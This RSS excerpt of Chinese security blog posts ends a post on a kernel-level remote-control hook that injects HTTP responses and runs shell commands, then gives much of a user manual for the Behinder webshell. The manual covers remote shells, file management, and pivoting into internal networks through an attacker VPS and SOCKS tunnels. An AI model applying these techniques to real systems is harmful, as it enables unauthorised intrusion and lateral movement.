class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    spin_unlock(&amp;_lock);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span>(found == <span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> NF_ACCEPT;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//printk(&#34;Found frame to inject!!!&#34;);</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__number">0</span> != skb_linearize(skb)) </span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">goto</span> exit;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">short</span> inject_len = frame-&gt;rsp_len;</span></code><code><span class="code-snippet_outer">    inject_http_response(skb, frame-&gt;response, inject_len);</span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>经实验，修改TCP报文的操作会有一些耗时，大概几百毫秒。</p><h2><strong>总结</strong></h2><p>本文提供一种内核远控的实现思路，至于在内核态能用来做什么可根据需求实现，如果想要回显（即修改HTTP响应、TCP回包）就不能执行IO等耗时操作。<br/> 完整代码可参考DEMO项目，该项目实现了无回显异步执行用户态shell功能</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//github.com/bigBestWay/cayenne</span></span></code></pre></section><p><br/></p>



<p><a href="2247484230">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2dc6ce27&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247484230%26idx%3D1%26sn%3D7a0853cd0cc8f6ce58a86d57627eba9b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 21 Jun 2021 17:43:00 +0800</pubDate>
    </item>
    <item>
      <title>冰蝎v3.0操作使用手册</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247484223&amp;idx=1&amp;sn=aabcb049e1b34b2120afd118606d9822</link>
      <description>写在前面近期冰蝎更新了内网穿透模块中的一些功能，有不少朋友不知道参数怎么填，希望能出一个使用指导手册，刚好今</description>
      <content:encoded><![CDATA[<p>
原创 <span>rebeyond</span> <span>2021-04-30 22:08</span> <span style="display: inline-block;"></span>
</p>

<p>写在前面近期冰蝎更新了内网穿透模块中的一些功能，有不少朋友不知道参数怎么填，希望能出一个使用指导手册，刚好今</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f0ac4b61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9UicViaM2QGAibQodBibfejwtLE57aQErq46ZZGVvo9cwESnP3RpYEmukFg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">写在前面</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">近期冰蝎更新了内网穿透模块中的一些功能，有不少朋友不知道参数怎么填，希望能出一个使用指导手册，刚好今天下班赶上五一放假，就借这个机会写一个“说明书”（文中有大量演示动图，请耐心等待加载）。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">基本信息</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">由于冰蝎采用了会话加密，所以客户端首次和服务端通信会有一个协商的过程（v3.0之后的版本不存在密钥协商过程），成功建立连接后，会把服务器侧的一些基本信息，显示在这个Tab页。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">命令执行</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这里的命令执行提供非交互式的命令执行，常规功能，不再赘述。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">虚拟终端</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">虚拟终端提供一个交互式的真实终端，相当于把服务器侧的Shell给搬到了客户端，在这个Shell里可以执行各种需要交互式的命令，如ssh、mysql：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.75" data-backh="434" data-type="gif" data-w="640" style="width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=aa3f3618&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9TlOp88NrAft88kvP9n6MeSdt79xjm6jDOh2sO30IiazCwz3ibGn83WmQ%2F640%3Fwx_fmt%3Dgif"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">也可以正常使用vi、vim等命令：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.75" data-backh="236" data-type="gif" data-w="640" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=499ba9f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9ZPYc06kmCO2sR96kuyOkZAx2ta53mLQHHo3rhhrMmibubc0PE7RV4vg%2F640%3Fwx_fmt%3Dgif"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">或者top命令：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.75" data-backh="434" data-type="gif" data-w="640" style="width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=5e3d6dae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S97n7BB7oX4oVO4Kt9k6X4cXWia6wTFXRiccqV8cfibzq6CO4XwMSUQ8Mxw%2F640%3Fwx_fmt%3Dgif"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">当然，你也可以直接在里面使用python：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.75" data-backh="236" data-type="gif" data-w="640" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=d77e41e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9OZSQPgUSzQc0xmvlps18A9IeuGpxtCRF0cr3f3nm4yibqiaQL7MK737w%2F640%3Fwx_fmt%3Dgif"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">上面是linux环境，windows环境也一样，可以直接使用python，也可以直接使用powershell，如下图：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.75" data-backh="434" data-type="gif" data-w="640" style="width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=aff4b3f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9HibHZhB2MUMPCPQ7iboXo5HmZjtcPSTbIGSGEqcoYeqD9F02rBIh3IIQ%2F640%3Fwx_fmt%3Dgif"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">最后，说明一下，虚拟终端和命令执行不同的是，虚拟终端使用完毕需要点击“停止”按钮来关闭服务器侧的shell进程。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">文件管理</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">常规功能，不再展开描述。</p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">内网穿透</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">内网穿透模块目前提供了多个穿透方案：</p><p style="box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">1.</span>基于VPS中转的端口映射；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">2.</span>基于HTTP隧道的端口映射；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">3.</span>基于VPS的socks代理映射；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">4.</span>基于HTTP隧道的socks代理映射；</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">5.</span>反向DMZ映射；</span></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">下面分别予以介绍。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">基于VPS中转的端口映射</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">该功能可以直接将目标内网中的某个正在监听的端口映射至VPS，由于是通过VPS中转，所以需要10.211.55.11这台靶机允许出网，以如下网络拓扑为例：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.8602029312288614" data-backh="271" data-type="png" data-w="1774" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=089fc428&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9M5iceic7DeZRouv5rKv4ibE4W3JhgO3ldJER3diamFRthj9Tfopz2Liaib5g%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">攻击者已在10.211.55.11上上传webshell，想要访问目标内网中10.211.55.9的3389端口，只需要在冰蝎中把10.211.55.9的3389端口转发至VPS（8.8.8.8）上即可，具体操作如下：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">首先在vps上使用portmap或者lcx同时监听两个端口：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.17763157894736842" data-backh="56" data-type="png" data-w="912" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=9cf54b89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9g3n8bkYmyS6ibKNic45z20b8zA8icmDpwQFy0zCIqzZu3zoywDRIqZVrA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">然后在冰蝎中填上对应的参数：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.8235877106045589" data-backh="259" data-type="png" data-w="2018" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=87ffb209&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9ps9g99vIibveYibmvw6f4YmZrDkPrzbvMJbz9thCgibnDu2zqYMtl9Mng%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">开启后，VPS上的2222端口会提示收到来自目标网络的链接：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.17683881064162754" data-backh="56" data-type="png" data-w="1278" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=db6618ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9KpKHWMeJmwWoyLftf2r3YuxK0shCaqiaaqiaxGdxKUp7uOn1A9rwqgOA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">然后链接VPS的3388端口，即可访问目标内网10.10.0.102的3389端口：</p><p><img data-ratio="0.9385964912280702" style="box-sizing: border-box;color: rgb(0, 0, 0);font-family: &#34;PingFang SC&#34;, system-ui, Roboto, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;zoom: 0.5;" data-type="png" data-w="1140" src="https://wechat2rss.xlab.app/img-proxy/?k=597a5f64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9hAe1p6ORia780hxk0bzFjiaJ93iatUTUyqcNE62wlctyc37h6hAgyEK5A%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(0, 0, 0);font-family: &#34;PingFang SC&#34;, system-ui, Roboto, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;text-align: start;"></span></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">基于HTTP隧道的端口映射</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">如果目标靶机不能出网，冰蝎同样可以复用HTTP端口进行端口映射，把目标端口映射至本机，如下图：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.8272095332671301" data-backh="260" data-type="png" data-w="2014" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=fe1e2607&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9hfLibKThCyo75dyaecZpudp0vfU1hoTJnfUx5Rx9upKQKLHyZ23cW9A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">开启后，攻击者本机会开启一个2222端口，如下图：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.1945337620578778" data-backh="61" data-type="png" data-w="1244" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=4b4adf34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9ht4XUAsIzutXA6wKAxJcmOibdsOodUPKxIEhgSMY2MZOgAfvyYkR8og%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">直接连接127.0.0.1:2222端口即可连接10.211.55.9的3389端口。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">基于VPS的socks代理映射</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">上文都是基于单端口的映射，如果想要访问内网多台机器的多个服务，基于单端口的映射就会需要映射多次，比较麻烦。同样冰蝎提供了两种socks代理的映射。首先介绍基于VPS的socks代理映射，当然前提也是靶机能出网。还是以上文的网络拓扑为例：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.8602029312288614" data-backh="271" data-type="png" data-w="1774" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=089fc428&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9M5iceic7DeZRouv5rKv4ibE4W3JhgO3ldJER3diamFRthj9Tfopz2Liaib5g%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">首先明确一下目标：我想在10.211.55.11上开设一个socks5代理服务，由于代理服务开在目标内网，我还需要把代理服务端口映射至VPS（8.8.8.8）。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">还是需要先在VPS上使用portmap做如下监听：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.17763157894736842" data-backh="56" data-type="png" data-w="912" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=9cf54b89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9g3n8bkYmyS6ibKNic45z20b8zA8icmDpwQFy0zCIqzZu3zoywDRIqZVrA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">然后冰蝎做如下配置：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.1771539206195547" data-backh="56" data-type="png" data-w="2066" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" title="null" data-backw="315" src="https://wechat2rss.xlab.app/img-proxy/?k=97947b74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicDBsia5BSjLKWIW1DDwq4S9yOzOlkPgKbO5LeCchHWJCPa5fNy1K0XAD3XaGMr6SCmHMzyibAINxHg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">开启后，VPS的2222端口会收到来自靶机的连接，</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 